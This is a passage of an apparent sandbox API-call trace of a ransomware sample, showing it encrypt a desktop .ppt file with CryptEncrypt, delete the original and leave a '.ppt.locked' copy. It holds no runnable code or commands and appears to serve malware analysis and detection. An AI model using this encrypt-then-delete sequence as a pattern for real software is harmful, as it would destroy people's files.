(hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.611] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x4, pbData=0x6a6aff0*=0x1, dwFlags=0x0) returned 1 [0126.611] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x1, pbData=0x6a6afbc, dwFlags=0x0) returned 1 [0126.611] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\xee43\xbd77\x130f\x1c63\x112f\xf0f1\xdde\xb55d\xcd98\xcf99\xf2b2\xfcb9\xb804\xe158\xaee9\x5444\x6361\x3935\x3031\x6461\x6538\x3332\x6334\x3261\xe0") returned 0x0 [0126.611] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.611] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.611] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.612] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.612] ReadFile (in: hFile=0x878, lpBuffer=0x6a6e578, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6a6e578*, lpNumberOfBytesRead=0x99ae9fc*=0x8a95, lpOverlapped=0x0) returned 1 [0126.613] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a82584*, pdwDataLen=0x99ae9f0*=0x8a90, dwBufLen=0x8a90 | out: pbData=0x6a82584*, pdwDataLen=0x99ae9f0*=0x8a90) returned 1 [0126.613] WriteFile (in: hFile=0x86c, lpBuffer=0x6a69d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6a69d24*, lpNumberOfBytesWritten=0x99ae9d4*=0x1000, lpOverlapped=0x0) returned 1 [0126.614] WriteFile (in: hFile=0x86c, lpBuffer=0x6a83570*, nNumberOfBytesToWrite=0x7aa4, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6a83570*, lpNumberOfBytesWritten=0x99ae9d4*=0x7aa4, lpOverlapped=0x0) returned 1 [0126.614] ReadFile (in: hFile=0x878, lpBuffer=0x6a6e578, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6a6e578*, lpNumberOfBytesRead=0x99ae9fc*=0x0, lpOverlapped=0x0) returned 1 [0126.614] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a8b0a0*, pdwDataLen=0x99aea50*=0x10, dwBufLen=0x10 | out: pbData=0x6a8b0a0*, pdwDataLen=0x99aea50*=0x10) returned 1 [0126.615] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a8b0d4*, pdwDataLen=0x99aea58*=0x0, dwBufLen=0x10 | out: pbData=0x6a8b0d4*, pdwDataLen=0x99aea58*=0x10) returned 1 [0126.615] WriteFile (in: hFile=0x86c, lpBuffer=0x6a69d24*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99aea28, lpOverlapped=0x0 | out: lpBuffer=0x6a69d24*, lpNumberOfBytesWritten=0x99aea28*=0x10, lpOverlapped=0x0) returned 1 [0126.615] CloseHandle (hObject=0x86c) returned 1 [0126.617] CloseHandle (hObject=0x878) returned 1 [0126.617] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.617] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.617] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.617] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.617] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.619] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt")) returned 0x20 [0126.619] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.619] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0126.620] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0126.620] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0126.620] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0126.620] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0126.620] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0126.620] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0126.620] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0126.620] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0126.620] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0126.620] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0126.620] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0126.620] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0126.621] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0126.621] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0126.621] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0126.621] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0126.621] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0126.621] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0126.621] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0126.621] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt")) returned 0x20 [0126.622] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.622] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.622] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae254, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae714) returned 1 [0126.622] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae21c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.622] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt\\", nBufferLength=0x105, lpBuffer=0x99ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt\\", lpFilePart=0x0) returned 0x4c [0126.622] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt\\*", lpFindFileData=0x99ae43c | out: lpFindFileData=0x99ae43c) returned 0xffffffff [0126.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0126.623] CoTaskMemAlloc (cb=0x404) returned 0x438c200 [0126.623] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x438c200, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0126.623] CoTaskMemFree (pv=0x438c200) [0126.624] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt")) returned 0x20 [0126.624] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.624] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae638) returned 1 [0126.624] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt"), fInfoLevelId=0x0, lpFileInformation=0x6aa1c80 | out: lpFileInformation=0x6aa1c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f64af0, ftCreationTime.dwHighDateTime=0x1d4abdd, ftLastAccessTime.dwLowDateTime=0xd0b4bc40, ftLastAccessTime.dwHighDateTime=0x1d4ad0e, ftLastWriteTime.dwLowDateTime=0xd0b4bc40, ftLastWriteTime.dwHighDateTime=0x1d4ad0e, nFileSizeHigh=0x0, nFileSizeLow=0x8a95)) returned 1 [0126.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae634) returned 1 [0126.624] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt")) returned 1 [0126.627] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.628] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.628] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.628] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.628] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.629] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt.locked")) returned 0x20 [0126.630] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt.locked")) returned 0x20 [0126.630] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked", nBufferLength=0x105, lpBuffer=0x99ae248, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked", lpFilePart=0x0) returned 0x52 [0126.630] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked", nBufferLength=0x105, lpBuffer=0x99ae20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked", lpFilePart=0x0) returned 0x52 [0126.630] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.630] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.630] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.630] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.630] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.630] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.633] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.633] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.633] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.633] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.633] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.635] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.636] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.636] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.636] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.636] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, 